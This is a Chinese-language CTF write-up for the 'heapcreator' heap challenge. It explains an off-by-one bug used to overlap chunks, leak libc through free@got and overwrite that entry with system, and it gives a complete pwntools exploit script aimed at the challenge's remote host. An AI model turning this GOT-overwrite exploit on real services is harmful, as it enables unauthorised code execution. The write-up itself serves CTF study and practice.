分析
遇到的第一个off by one问题吧(之前有在ctf-wiki上看到过off by one的利用手法,所以就忍不住想实践一下)
菜单没什么特别的,设置了无缓冲
create_heap函数也很常规,每个内容都用了一个结构体来管理,size用来控制可写进去的长度,然后一个指针代表内容chunk的位置。(程序只开了Partial RELRO,所以got表是可以去改的)很容易联想到,要想办法来修改掉这个指针。
edit_heap函数可以发现,在读内容的时候,他读了(*(_QWORD *)heaparray[v1]+1LL)位,加了1,所以存在off by one,可以改掉后面chunk的size的最低位。
show_heap函数没什么好说的,用的是%s来打印chunk(一开始想用unlink来做,就是被这个输出方式给卡了hhh,不过现在的方法是比unlink简单许多的)
delete_heap函数也没什么好说的,清空了heaparray[v1],没有uaf。
分析完程序过后,思路基本上就已经出来了。
1.申请三个0x21的chunk,chunk 0去off by one改掉结构体 1那个chunk的size(我改成的是0x61),让他能盖到chunk 1的内容那个chunk
2.free掉chunk 1,这样fastbin就会有一个0x60和一个0x20的chunk
3.申请一个0x61的chunk,这样一来,它的结构体就会拿到那个被0x61的内容chunk覆盖的0x21的chunk
4.把free@got写进去,用show_heap() leak libc基址
5.把system函数写进free@got
(当时我用的ubuntu16.04本地的libc-2.23.so来做,本地都通了,换远程就炸了,后面就换了LibcSearcher来找基址和system的偏移,然后就过了)
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67
| from pwn import * from LibcSearcher import * context.log_level = 'debug' elf = ELF('./heapcreator')
p = remote('node4.buuoj.cn', 25818)
def choice(idx): p.recvuntil('choice :') p.sendline(str(idx))
def create(sz, content): choice(1) p.recvuntil('Heap : ') p.sendline(str(sz)) p.recvuntil('of heap:') p.sendline(content)
def edit(idx, content): choice(2) p.recvuntil('dex :') p.sendline(str(idx)) p.recvuntil('heap : ') p.sendline(content)
def show(idx): choice(3) p.recvuntil('dex :') p.sendline(str(idx))
def delete(idx): choice(4) p.recvuntil('dex :') p.sendline(str(idx))
create(0x18, b'AAA') create(0x18, b'BBB') create(0x18, b'/bin/sh\x00') pay = b'a'*0x19 edit(0, pay) delete(1)
free_got = elf.got['free']
pay = p64(0)*3 + p64(21) + p64(0x1000) + p64(free_got) create(0x58, pay) show(1)
p.recvuntil('tent : ') free_addr = u64(p.recvline()[:-1] + b'\x00\x00')
libc = LibcSearcher('free', free_addr) base = free_addr - libc.dump('free') sys = base + libc.dump('system')
pay = p64(sys) edit(1, pay) delete(2)
p.interactive()
|